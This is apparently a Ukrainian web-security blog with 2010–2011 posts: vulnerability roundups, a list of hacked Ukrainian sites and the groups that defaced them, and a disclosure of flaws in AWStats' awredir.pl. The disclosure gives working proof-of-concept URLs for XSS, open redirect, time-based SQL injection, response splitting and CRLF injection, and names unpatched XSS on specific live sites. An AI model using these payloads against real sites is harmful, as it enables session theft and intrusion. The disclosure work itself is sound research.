Websecurity - Веб безпека

В даній добірці уразливості в веб додатках:

• HP Insight Control Performance Management for Windows, Remote Privilege Elevation, Cross Site Request Forgery (CSRF) (деталі)
• Multiple XSS vulnerabilities in Gollos (деталі)
• CA Total Defense Suite Heartbeat Web Service Remote Code Execution Vulnerability (деталі)
• Multiple XSS vulnerabilities in Wikipad (деталі)
• CA Total Defense Suite UnassignFunctionalUsers Stored Procedure SQL Injection Vulnerability (деталі)
• SQL Injection in Seo Panel (деталі)
• CA Total Defense Suite UNCWS Web Service getDBConfigSettings Credential Disclosure Vulnerability (деталі)
• SQL Injection in Seo Panel (деталі)
• CA Total Defense Suite UnassignAdminRoles Stored Procedure SQL Injection Vulnerability (деталі)
• SQL Injection in Seo Panel (деталі)

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

• Privacy-invasive software
• Keystroke logging
• Cross-application scripting
• Evasion (network security)
• Uncontrolled format string

У вересні, 02.09.2011, я знайшов Cross-Site Scripting, Redirector, SQL Injection, HTTP Response Splitting та CRLF Injection уразливості в AWStats (в awredir). Про що я вже повідомив розробнику на минулому тижні (але він так і не виправив їх).

З AWStats постачається скрипт Advanced Web Redirector (awredir.pl), який має численні уразливості. В 2008 році trev та tx вже виявили в ньому XSS і Redirector уразливості.

Як я виявив, версія awredir 1.1 (build 1.5) була не вразлива до XSS, зато версія 1.1 (build 1.6) вже була вразлива.

В версії 1.1 та попередніх версіях скрипта є XSS, Redirector та SQL Injection уразливості. А в версії 1.2 додали захист - параметр key, що повинен бути рівний md5($KEYFORMD5.$UrlParam), де $KEYFORMD5 - це секретне слово, а $UrlParam - це параметр url. Який може і не використовуватися в скрипті (якщо $KEYFORMD5 пустий), а також його можна виявити підбором (знаючи робочу пару параметрів url та key). Параметр key буде необхідний для версії 1.2 скрипта для проведення Redirector, SQL Injection, HTTP Response Splitting і CRLF Injection атак.

В версії 1.2 виправили XSS, але Redirector і SQLi дірки залишилися та додали HTTPRS, CRLF Injection і дві нові XSS.

XSS (в версіях <=1.1):

http://site/awredir.pl?url=javascript:alert(document.cookie)

Redirector:

http://site/awredir.pl?url=http://websecurity.com.ua

В версії 1.2:

http://site/awredir.pl?key=0f3830803a70cc1636af3548b66ed978&url=http://websecurity.com.ua

SQL Injection:

http://site/awredir.pl?url=’%20and%20benchmark(10000,md5(now()))/*

В версії 1.2:

http://site/awredir.pl?key=f38ed1cdb04c8bda5386f7755a4e1d3e&url='%20and%20benchmark(10000,md5(now()))/*

SQL Injection атака можлива, якщо включений запис в БД ($TRACEBASE) та підключений DBI.

XSS (в версії 1.2):

http://site/awredir.pl?url=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/awredir.pl?key=%3Cscript%3Ealert(document.cookie)%3C/script%3E

HTTP Response Splitting:

http://site/awredir.pl?key=04ed5362e853c72ca275818a7c0c5857&url=%0AHeader:1

Що може використовуватися для включення хедерів, в тому числі для XSS і Redirection атак.

CRLF Injection:

http://site/awredir.pl?key=4b9faa91e2529400c4f3c70833b4e4a5&url=%0AText

CRLF Injection в логи можлива при включеному $DEBUG і/або $TRACEFILE.

Уразливі всі версії AWStats (6.0, 7.0 та попередні версії).

03.12.2010

У серпні, 09.08.2010, я знайшов Abuse of Functionality, Insufficient Anti-automation та Cross-Site Scripting уразливості на сайті http://websiteoptimization.com (зокрема на його піддомені http://analyze.websiteoptimization.com). Про що найближчим часом сповіщу адміністрацію сайта.

Детальна інформація про уразливості з’явиться пізніше.

21.09.2011

Abuse of Functionality:

http://analyze.websiteoptimization.com/authenticate.php?url=http://www.google.com

Через даний функціонал можна проводити атаки на інші сайти. А також DoS атаку на сам сервіс. Про подібні уразливості я писав в статті Використання сайтів для атак на інші сайти.

Insufficient Anti-automation:

На даній сторінці використовується вразлива капча. Капчу можна обійти посилаючи одну і ту саму робочу пару значень параметрів session і captcha.

XSS:

• alert(document.cookie)
• цікавий
• html включення

Дані уразливості досі не виправлені.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://zakarpattya.mns.gov.ua (хакерами з jH-Team) - 18.08.2011 - взломаний державний сайт, зараз сайт вже виправлений адмінами
• http://odesa.mns.gov.ua (хакерами з jH-Team) - 18.08.2011 - взломаний державний сайт, зараз сайт вже виправлений адмінами
• http://www.verba.ltd.ua (хакерами з RKH)
• http://posylka.com.ua (хакером CoOL BoY)
• http://makosad.com (хакерами з kosova security group)

Виявлені численні уразливості в Microsoft SharePoint.

Уразливі продукти: Microsoft SharePoint Server 2007, SharePoint Workspace 2010, Office Groove 2007, Office Forms Server 2007, SharePoint Server 2010.

Міжсайтовий скриптінг, редирекція, впровадження коду, витік інформації.

• XEE vulnerabilities in SharePoint (MS11-074) and DotNetNuke (деталі)
• Reflected Cross Site Scripting in Microsoft SharePoint Portal (деталі)
• Insecure Redirect in Microsoft SharePoint Portal (деталі)
• Microsoft Security Bulletin MS11-074 - Important Vulnerabilities in Microsoft SharePoint Could Allow Elevation of Privilege (деталі)

26.11.2010

У серпні, 09.08.2010, я знайшов Cross-Site Scripting уразливість на сайті http://www.4post.com.ua (онлайн ЗМІ). Про що найближчим часом сповіщу адміністрацію сайта.

Раніше я вже писав про уразливості на www.4post.com.ua.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

20.09.2011

XSS:

• alert(document.cookie)

Адміни спробували виправити дану уразливість (при цьому мені не подякувавши, як за звичай роблять ламєра). Але зробили це некоректно і при невеликій зміні коду вона знову працює.

XSS (з MouseOverJacking):

• alert(document.cookie)
• цікавий

Дана уразливість досі не виправлена.

В період з 09.08.2010 по 11.08.2011 відбувся масовий взлом сайтів на сервері 1GB (по 13 сайтів в 2010 і 2011 році). Нещодавно я вже розповідав про інші масові взломи.

Був взломаний сервер української компанії 1GB. Взлом, що складався з серії взломів (під час яких взломувалися по одному або декілька сайтів), відбувся приблизно в той же час як і згаданий масовий взлом сайтів на сервері Freehost.

Всього було взломано 26 сайтів на сервері української компанії 1GB (IP 195.234.4.52). Це наступні сайти: www.kyivobljust.gov.ua, www.ukrprodresurs.com.ua, www.ffgn.org.ua, palar.com.ua, antares-co.com.ua, hram-krasoty.com.ua, morozovmebel.com, www.s-mobila.com.ua, www.a-e.com.ua, maximhorses.com, oberegy.lviv.ua, stroyderevo.com.ua, www.sopromat.kiev.ua, albomu.com.ua, decibel.com.ua, real-estate.ltd.ua, budka.net.ua, www.zerg.com.ua, marketzoo.com.ua, www.vorzelkurort.com.ua, kreativ.dp.ua, mykolaivka.com.ua, patatuyki.com.ua, kavaratake.com, www.artgallery-nadezhda.com.ua, www.informnk.com.ua. Серед них український державний сайт www.kyivobljust.gov.ua.

26 зазначених сайтів були взломані наступними хакерми: Ashiyane Digital Security Team, iskorpitx, Metropolis, 1923Turk, VHZ-CREW, kaMtiEz, By_aGReSiF, rkh, Hmei7, queSt, AlbanianHackersGr0up та K-E-H.

Враховуючи велику кількість сайтів на одному сервері та короткий проміжок часу для дефейсу невиликої групи сайтів та багатьох взломів маленьких груп сайтів на протязі року, маловірогідно, що вони були взломані через взлом серверу хостінг провайдера (коли через взлом одного сайта, був отриманий root доступ до сервера). Але атаку на інші сайти на даному сервері через взлом одного сайту та використання уразливостей в програмному забезпеченні самого сервера не можна виключати (бо до деяких з цих сайтів могли дістатися і без root доступа).

Виявлені численні уразливості в Google Chrome.

Уразливі версії: Google Chrome 13.0 та попередні версії.

DoS, витік інформації, пошкодження пам’яті.

• chromium-browser security update (деталі)

В даній добірці уразливості в веб додатках:

• McAfee Firewall Reporter GeneralUtilities.pm isValidClient Authentication Bypass Vulnerability (деталі)
• Multiple XSS vulnerabilities in Photopad (деталі)
• Novell ZENworks Asset Management Path Traversal File Overwrite Remote Code Execution Vulnerability (деталі)
• File Content Disclosure in Wikipad (деталі)
• Certain HP Photosmart Printers, Remote Unauthorized Access, Cross Site Scripting (XSS) (деталі)
• Information Disclosure in Arctic Fox CMS (деталі)
• IBM Tivoli Directory Server ibmslapd.exe SASL Bind Request Remote Code Execution Vulnerability (деталі)
• Path disclosure in ArtGK CMS (деталі)
• RSA, The Security Division of EMC, announces the release of Adaptive Authentication (On-Premise) Flash File Security Patch (деталі)
• XSS vulnerability in Gollos (деталі)